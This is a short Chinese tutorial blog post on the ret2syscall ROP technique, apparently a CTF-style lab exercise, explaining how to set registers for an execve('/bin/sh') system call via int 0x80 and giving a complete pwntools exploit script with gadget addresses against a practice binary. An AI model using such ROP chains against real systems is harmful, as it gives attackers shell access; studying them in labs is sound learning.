美文网首页
一.3_基本rop_ret2syscall

一.3_基本rop_ret2syscall

作者: Zero_0_0 | 来源:发表于2019-05-04 00:19 被阅读0次

    ret2syscall,即控制程序执行系统调用,获取 shell (很短的一句话,蕴含着大道理)

    思考
    1.程序只给我们/bin/sh 但是没给我们system函数 构造不了sysytem(/bin/sh),仔细观察,发现了int 80(自行百度)
    2.只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int 0x80 就可执行对应的系统调用。 例如:

    execve("/bin/sh",NULL,NULL)   #oxb是execve的系统调用号
    

    3.32 位

    系统调用号,即 eax 应该为 0xb
    第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
    第二个参数,即 ecx 应该为 0
    第三个参数,即 edx 应该为 0
    
    EXP
    from pwn import *
    
    sh = process('./rop')
    
    pop_eax_ret = 0x080bb196
    pop_edx_ecx_ebx_ret = 0x0806eb90
    int_0x80 = 0x08049421  #ROPgadget --binary rop --only "int"
    bin_sh_addr = 0x80be408
    payload = 'A' * 112
    payload += p32(pop_eax_ret)
    payload += p32(0xb)
    payload += p32(pop_edx_ecx_ebx_ret)  ##构造execve里面的内容
    payload += p32(0)
    payload += p32(0)
    payload += p32(bin_sh_addr)
    payload += p32(int_0x80)    # int 80调用的是eax的系统调用号
    
    sh.sendline(payload)
    sh.interactive()
    

    注:int 80 不理解可以学习一下这篇文章:https://www.jianshu.com/p/5ea7016e60c8

    相关文章

      网友评论

          本文标题:一.3_基本rop_ret2syscall

          本文链接:https://www.haomeiwen.com/subject/vmstoqtx.html